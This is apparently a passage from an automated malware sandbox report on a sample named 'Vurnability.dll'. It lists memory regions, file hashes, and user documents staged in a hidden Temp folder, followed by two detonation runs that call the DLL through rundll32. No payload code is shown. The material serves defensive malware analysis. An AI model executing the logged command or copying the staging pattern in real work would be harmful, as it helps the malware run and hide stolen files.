SHA256 47b63a9370289d2544abc5a479bfb27d707ae7db4f3f7b6cc1a8c8f57fd0cf1f
SHA512 a8a06a1303e76c76d1f06b689e163ba80c1a8137adac80fab0d5c1c6072a69d506e0360d8b44315ef1d88cbd0c9ac95c94d001fad5bc40727f1070734bbbbe63

memory/3116-56-0x00007FFC67BE0000-0x00007FFC67BF8000-memory.dmp

memory/3116-55-0x00007FFC641F0000-0x00007FFC6421C000-memory.dmp

memory/3116-58-0x00007FFC67B50000-0x00007FFC67B6E000-memory.dmp

memory/3116-60-0x00007FFC63E10000-0x00007FFC63F81000-memory.dmp

memory/3116-62-0x00007FFC67530000-0x00007FFC67549000-memory.dmp

memory/3116-64-0x00007FFC67C40000-0x00007FFC67C4D000-memory.dmp

memory/3116-68-0x00007FFC635D0000-0x00007FFC63687000-memory.dmp

memory/3116-67-0x00007FFC63D80000-0x00007FFC63DAE000-memory.dmp

memory/3116-73-0x00007FFC54650000-0x00007FFC549C7000-memory.dmp

memory/3116-74-0x00000211BDC90000-0x00000211BE007000-memory.dmp

memory/3116-72-0x00007FFC65FE0000-0x00007FFC66004000-memory.dmp

memory/3116-71-0x00007FFC549D0000-0x00007FFC54E33000-memory.dmp

memory/3116-78-0x00007FFC64A30000-0x00007FFC64A3D000-memory.dmp

memory/3116-80-0x00007FFC67BE0000-0x00007FFC67BF8000-memory.dmp

memory/3116-76-0x00007FFC65E80000-0x00007FFC65E95000-memory.dmp

memory/3116-81-0x00007FFC633F0000-0x00007FFC63508000-memory.dmp

memory/1312-88-0x0000021E6F0A0000-0x0000021E6F0C2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jr4vvrd0.2u0.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 f7281f4d7d7f3c148e070cb6d560ad57
SHA1 8d538f0c46559a60a3a479254a4128faa3c5fc3f
SHA256 3b10bd49be8448fee004c87a50cf2d88a16e34de3edac876977511307e237704
SHA512 708e310e209e60d5786a5d5c2ee963c83ca216c2f4f72dcf40fa324b0d9afb1526e7f66d6a5fd96fcb1362e5a663ef6ec77b7ae3ceb5153bf68d6b95e095b90e

\??\c:\Users\Admin\AppData\Local\Temp\r3aswgsw\r3aswgsw.cmdline

MD5 641b1894da39eed1c208c9c6cdef6afe
SHA1 28a5c93883c03203de270905fb953cae53706c8c
SHA256 641203834351467b2e7990ce12aed1683d560b05fd4cf74e14d761879771ddac
SHA512 33875dd582be22422663d5e4f19ed2434ac1471cd29e174de7685397b90abb61b7af60462b3679e60d32705a2ea68b2a6a162cc736db8608ae02991f870c90d7

\??\c:\Users\Admin\AppData\Local\Temp\r3aswgsw\r3aswgsw.0.cs

MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

C:\Windows\System32\drivers\etc\hosts

MD5 f99e42cdd8b2f9f1a3c062fe9cf6e131
SHA1 e32bdcab8da0e3cdafb6e3876763cee002ab7307
SHA256 a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0
SHA512 c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

memory/3116-182-0x00007FFC67B50000-0x00007FFC67B6E000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\r3aswgsw\CSC713157A5B6E43B0BBFD2ED3DFCD667.TMP

MD5 ad54bb05bfcb70ac0ed79883c19d5e4d
SHA1 379bb698bbd95bf731d109a2b9c7d0c727dd5773
SHA256 13f5ad2edca32a3adf05c5d2e1bc8e53e29d96d410df96055e3cc3c2bca22929
SHA512 7ac4d6644d1d26eb7f81197440933ded481754c99e352a5d601da89b174efd1bb840742e85d65555fe60bf07a66de4beed017290d0f16692bb1ce19400f71c6e

C:\Users\Admin\AppData\Local\Temp\RES4333.tmp

MD5 8ae5a6ceebdaa083fb154d5590860913
SHA1 39f4b49e9fc030c6d59ebe13d9cd8b151c76f8e6
SHA256 123b12386d3f6905f3787b5226a2f0d828ca04f23e9443c1c0a2daab8b0d8a3e
SHA512 084fdd46b8620223f28e607d0d12d88c732f9beb1f291d8cacae1dce0b4fdc1407bf44b743b98c6dda54823008367e062602f092c18691ca40cbf4665f2cbe90

memory/880-190-0x00000268FA400000-0x00000268FA408000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\r3aswgsw\r3aswgsw.dll

MD5 1103087aefc7b42f6894f4d5751ff71d
SHA1 f332a13eac3a9a55ff82454267335e182294f8e8
SHA256 1333babe239ec0bdce04646f21e2aec162d44f3f63f72efeeceb75f6fcf95c13
SHA512 951216ac284fa7351c6707862bb7afe8b6bd07dcbc153214788d6e245021b1c32bf84841f22b2b1349fa89e74a1b45f3cadb505d6c59caae6c030d3180a2905f

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 17853c2782a29bae7aa9d733f585dc93
SHA1 4b5a105eadf3378b71e11591cbe6646aa4237d95
SHA256 c84fb8d554d8062ce96ae09bd06a22e12777c6646b205fe561f1e6d717c7dfc4
SHA512 b056c127a2966bf1b44281b111eaf2f85ef57ff15186c2013ceafef620f21d20c1c251d5b672790bd00be46270c69f07943577d79489b4c5393d320568e3de42

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 276798eeb29a49dc6e199768bc9c2e71
SHA1 5fdc8ccb897ac2df7476fbb07517aca5b7a6205b
SHA256 cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc
SHA512 0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

memory/3116-258-0x00007FFC63E10000-0x00007FFC63F81000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\  ‎     ‎‌\Common Files\Desktop\AssertGrant.pdf

MD5 eb1c7a10704956f3fcd2f3792a224b88
SHA1 6e3fcde6f92f9f79c237a8767c2c905992f15765
SHA256 d7252c95adc0e9be8d0b2d451dc94f006e61318fe4435c83319fcc6af196a43a
SHA512 8da01e745f7028c216205a92bb663e7ff49e226ebd9847805a259f8e931760c37b99a8cf8c5f4801720197cb857533886871a8f5ba0259083ffc5dbbbdb48311

C:\Users\Admin\AppData\Local\Temp\  ‎     ‎‌\Common Files\Desktop\ReadMove.jpeg

MD5 3a4dab6dde636e79c733db61e7c12cb0
SHA1 cbed707fe2b3b979186ce0ebaedea1b1cc15493a
SHA256 936871745586dd02fc7b3972876a064e7faaff4744f27911a2fc1059fb16130e
SHA512 7c5f0a673a2d5360c44280815d7551ee81122233f8a00065cbd689e1781bf00de655d76ce78ad40e8d85eb37fbba5c95fb7ed986c0f237ab361eaee2d883fe9e

C:\Users\Admin\AppData\Local\Temp\  ‎     ‎‌\Common Files\Documents\Are.docx

MD5 a33e5b189842c5867f46566bdbf7a095
SHA1 e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512 f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

C:\Users\Admin\AppData\Local\Temp\  ‎     ‎‌\Common Files\Documents\Files.docx

MD5 4a8fbd593a733fc669169d614021185b
SHA1 166e66575715d4c52bcb471c09bdbc5a9bb2f615
SHA256 714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42
SHA512 6b2ebbbc34cd821fd9b3d7711d9cdadd8736412227e191883e5df19068f8118b7c80248eb61cc0a2f785a4153871a6003d79de934254b2c74c33b284c507a33b

C:\Users\Admin\AppData\Local\Temp\  ‎     ‎‌\Common Files\Documents\Opened.docx

MD5 bfbc1a403197ac8cfc95638c2da2cf0e
SHA1 634658f4dd9747e87fa540f5ba47e218acfc8af2
SHA256 272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6
SHA512 b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1

C:\Users\Admin\AppData\Local\Temp\  ‎     ‎‌\Common Files\Documents\OptimizeBlock.xlsx

MD5 dad46427734a517c3c5ded1bddd65c69
SHA1 32470560f045beef5a66a26a6ec3b5b43d44639b
SHA256 877c70c0a67100ee2d046bc3854ec426baa3a5640d9269b4afd694b8127e1d6d
SHA512 060d85cd095f67e77092242ed34d2850a2bfd81923c421537332a384c13e42cdb449617212cd75e174fb3fa83e96e806248e7273edcce770b792a652c806bc94

C:\Users\Admin\AppData\Local\Temp\  ‎     ‎‌\Common Files\Documents\Recently.docx

MD5 3b068f508d40eb8258ff0b0592ca1f9c
SHA1 59ac025c3256e9c6c86165082974fe791ff9833a
SHA256 07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7
SHA512 e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32

C:\Users\Admin\AppData\Local\Temp\  ‎     ‎‌\Common Files\Documents\SuspendExpand.doc

MD5 604a07a31edc22bbb361cf2aab926c34
SHA1 778ab5b8fbd0842eca6d03f861fa84d14dd8549c
SHA256 cbb36e48564147641eca7564e12ea9c28c0e63c7a93c93613e1e43c3dfaa44bb
SHA512 623f52beb229374c48a185be9d4e67623f97c1f64e2289a6c4ed19a8782694485444299afc3dd5462775baf0dd9a02f9e09a88718e3eb8a017b0b8c918a46127

C:\Users\Admin\AppData\Local\Temp\  ‎     ‎‌\Common Files\Documents\These.docx

MD5 87cbab2a743fb7e0625cc332c9aac537
SHA1 50f858caa7f4ac3a93cf141a5d15b4edeb447ee7
SHA256 57e3b0d22fa619da90237d8bcf8f922b142c9f6abf47efc5a1f5b208c4d3f023
SHA512 6b678f0dd0030806effe6825fd52a6a30b951e0c3dcf91dfd7a713d387aa8b39ec24368e9623c463360acba5e929e268f75ce996526c5d4485894b8ac6b2e0fa

C:\Users\Admin\AppData\Local\Temp\  ‎     ‎‌\Common Files\Documents\UnregisterDeny.pdf

MD5 73ef913b6247fbb68cc4f5ea62f4b611
SHA1 be1be1e7269d8f0081727cb582c73e643c2a7d51
SHA256 2a346b1e7b52afb502df3ebc27bb73f09b697935e34b1b800c605ae20edfe54f
SHA512 8c72c182722fde1eb02bb7302e69862d3fa986fb0ce0299fd6746113de19add3e5cb2a4404e7c8e23a781a2f9ee8d634aa1d4b59098c9c1ebf3af82d74061a74

C:\Users\Admin\AppData\Local\Temp\  ‎     ‎‌\Common Files\Documents\WaitEnable.txt

MD5 5b7fac8d9ff3dffc0b35ec4a3eef1063
SHA1 b4df598a863a219bcb07b7d1924e0b6bc1f8893d
SHA256 85ec98efa02d473bde1fe70f3b1e5f5f99caf1e37bd5caf2a5f71f0d784686fd
SHA512 a5765e8caaadbf5dbc89679bbc7c35d6c295713aa88f3bc8b64d14a4ee16971ad020d13796055d332d94790287323925d5b6886ee78c4d661db4ef97e6bdb9fa

C:\Users\Admin\AppData\Local\Temp\  ‎     ‎‌\Common Files\Downloads\CompleteExpand.mp3

MD5 958d27e24a474d3826ec4c95e90d3bdc
SHA1 acebc561f4de00dc943c22fc3d5f397351d1efe1
SHA256 ca46f0f891ed632aff9c2884834ad20613397c9d6bff7bae57fcdc9ecb8eaacf
SHA512 78a37bac5dec936269cefdc855d0716a8671feec7367a0529204178b3ab918eeaf9058bd50eabdba75d26a3157bcbdb384769fbe5abb108fa201a540d81978a1

memory/3116-282-0x00007FFC67530000-0x00007FFC67549000-memory.dmp

memory/3116-308-0x00007FFC633F0000-0x00007FFC63508000-memory.dmp

memory/3116-305-0x00007FFC54650000-0x00007FFC549C7000-memory.dmp

memory/3116-304-0x00007FFC635D0000-0x00007FFC63687000-memory.dmp

memory/3116-300-0x00007FFC63E10000-0x00007FFC63F81000-memory.dmp

memory/3116-294-0x00007FFC549D0000-0x00007FFC54E33000-memory.dmp

memory/3116-303-0x00007FFC63D80000-0x00007FFC63DAE000-memory.dmp

memory/3116-299-0x00007FFC67B50000-0x00007FFC67B6E000-memory.dmp

memory/3116-295-0x00007FFC65FE0000-0x00007FFC66004000-memory.dmp

memory/3116-323-0x00007FFC633F0000-0x00007FFC63508000-memory.dmp

memory/3116-322-0x00007FFC64A30000-0x00007FFC64A3D000-memory.dmp

memory/3116-321-0x00007FFC65E80000-0x00007FFC65E95000-memory.dmp

memory/3116-320-0x00007FFC54650000-0x00007FFC549C7000-memory.dmp

memory/3116-319-0x00007FFC635D0000-0x00007FFC63687000-memory.dmp

memory/3116-318-0x00007FFC63D80000-0x00007FFC63DAE000-memory.dmp

memory/3116-317-0x00007FFC67C40000-0x00007FFC67C4D000-memory.dmp

memory/3116-316-0x00007FFC67530000-0x00007FFC67549000-memory.dmp

memory/3116-315-0x00007FFC63E10000-0x00007FFC63F81000-memory.dmp

memory/3116-314-0x00007FFC67B50000-0x00007FFC67B6E000-memory.dmp

memory/3116-313-0x00007FFC67BE0000-0x00007FFC67BF8000-memory.dmp

memory/3116-312-0x00007FFC641F0000-0x00007FFC6421C000-memory.dmp

memory/3116-311-0x00007FFC67D90000-0x00007FFC67D9F000-memory.dmp

memory/3116-310-0x00007FFC65FE0000-0x00007FFC66004000-memory.dmp

memory/3116-309-0x00007FFC549D0000-0x00007FFC54E33000-memory.dmp

Analysis: behavioral5

Detonation Overview

Submitted

2024-06-03 10:13

Reported

2024-06-03 10:16

Platform

win7-20240220-en

Max time kernel

120s

Max time network

121s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\Vurnability.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\Vurnability.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-06-03 10:13

Reported

2024-06-03 10:16

Platform

win10v2004-20240426-en

Max time kernel

148s

Max time network

151s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\Vurnability.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\SonicX\Vurnability.dll,#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 73.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 74.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 168.253.116.51.in-addr.arpa udp

Files

N/A